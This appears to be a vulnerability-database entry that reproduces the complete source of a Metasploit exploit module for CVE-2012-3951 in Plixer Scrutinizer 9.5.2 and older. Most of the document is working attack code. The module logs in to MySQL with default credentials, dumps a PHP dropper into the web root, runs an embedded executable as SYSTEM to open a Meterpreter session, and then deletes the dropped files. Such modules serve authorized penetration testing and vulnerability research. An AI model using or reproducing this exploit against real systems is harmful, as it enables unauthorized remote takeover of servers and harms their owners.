Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default MySQL Credential

2012-08-07T08:19:44
ID MSF:EXPLOIT/WINDOWS/MYSQL/SCRUTINIZER_UPLOAD_EXEC
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

This exploits an insecure config found in Scrutinizer NetFlow & sFlow Analyzer. By default, the software installs a default password in MySQL, and binds the service to "0.0.0.0". This allows any remote user to login to MySQL, and then gain arbitrary remote code execution under the context of 'SYSTEM'. Examples of default credentials include: 'scrutinizer:admin', and 'scrutremote:admin'.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::MYSQL
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default MySQL Credential",
      'Description'    => %q{
        This exploits an insecure config found in Scrutinizer NetFlow & sFlow Analyzer.
        By default, the software installs a default password in MySQL, and binds the
        service to "0.0.0.0".  This allows any remote user to login to MySQL, and then
        gain arbitrary remote code execution under the context of 'SYSTEM'.  Examples
        of default credentials include: 'scrutinizer:admin', and 'scrutremote:admin'.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'MC',
          'Jonathan Claudius',
          'Tanya Secker',
          'sinn3r'
        ],
      'References'     =>
        [
          ['CVE', '2012-3951'],
          ['OSVDB', '84317'],
          ['URL', 'http://secunia.com/advisories/50074/'],
          ['URL', 'https://www.trustwave.com/spiderlabs/advisories/TWSL2012-014.txt']
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Scrutinizer NetFlow and sFlow Analyzer 9.5.2 or older', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Jul 27 2012",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new("USERNAME",  [true, 'The default MySQL username', 'scrutremote']),
        OptString.new("PASSWORD",  [true, 'The default MySQL password', 'admin']),
        OptPort.new("MYSQLPORT",   [true, 'The MySQL\'s remote port', 3306]),
        OptPort.new("HTTPPORT",    [true, 'The HTTP Server\'s remote port', 80]),
        OptString.new("TARGETURI", [true, 'The web application\'s base path', '/'])
      ])

    # Both MySQL and HTTP need to use this, we'll have to register on the fly.
    deregister_options('RPORT')
  end


  def check
    tmp_rport = datastore['RPORT']
    datastore['RPORT'] = datastore['HTTPPORT']
    res = send_request_raw({'uri'=>'/'})  #Check the base path for regex
    datastore['RPORT'] = tmp_rport
    if res and res.body =~ /\<title\>Scrutinizer\<\/title\>/ and
      res.body =~ /\<div id\=\'.+\'\>Scrutinizer 9\.[0-5]\.[0-2]\<\/div\>/
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end


  def get_php_payload(fname)
    p = Rex::Text.encode_base64(generate_payload_exe)
    php = %Q|
    <?php
    $f = fopen("#{fname}", "wb");
    fwrite($f, base64_decode("#{p}"));
    fclose($f);
    exec("#{fname}");
    ?>
    |
    php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ')
    return php
  end


  #
  # I wanna be able to choose my own destination... path!
  #
  def mysql_upload_binary(bindata, path)
    # Modify the rport so we can use MySQL
    datastore['RPORT'] = datastore['MYSQLPORT']

    # Login
    h = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
    return false if not h

    tmp = mysql_get_temp_dir
    p = bindata.unpack("H*")[0]
    dest = tmp + path
    mysql_query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
    return true
  end


  def exe_php(php_fname)
    # Modify the rport so we can use HTTP
    datastore['RPORT'] = datastore['HTTPPORT']

    # Request our payload
    uri = normalize_uri(target_uri.path)
    path = File.dirname("#{uri}/.")
    res = send_request_raw({'uri'=>"#{path}#{php_fname}"})
    return (res and res.code == 200)
  end


  def cleanup
    datastore['RPORT'] = @original_rport
  end


  def on_new_session(cli)
    if cli.type != 'meterpreter'
      print_error("Please remember to manually remove #{@exe_fname} and #{@php_fname}")
      return
    end

    cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")

    begin
      print_warning("Deleting #{@php_fname}")
      cli.fs.file.rm(@php_fname)
    rescue ::Exception => e
      print_error("Please note: #{@php_fname} is stil on disk.")
    end

    begin
      print_warning("Deleting #{@exe_fname}")
      cli.fs.file.rm(@exe_fname)
    rescue ::Exception => e
      print_error("Please note: #{@exe_fname} is still on disk.")
    end
  end


  def exploit
    @original_rport = datastore['RPORT']

    #
    # Prepare our payload (naughty exe embedded in php)
    #
    @exe_fname = Rex::Text.rand_text_alpha(6) + '.exe'
    p = get_php_payload(@exe_fname)

    #
    # Upload our payload to the html directory
    #
    print_status("Uploading #{p.length.to_s} bytes via MySQL...")
    @php_fname = Rex::Text.rand_text_alpha(5) + '.php'
    if not mysql_upload_binary(p, "../../html/#{@php_fname}")
      print_error("That MySQL upload didn't work.")
      return
    end

    #
    # Execute the payload
    #
    print_status("Requesting #{@php_fname}...")
    res = exe_php(@php_fname)

    handler
  end
end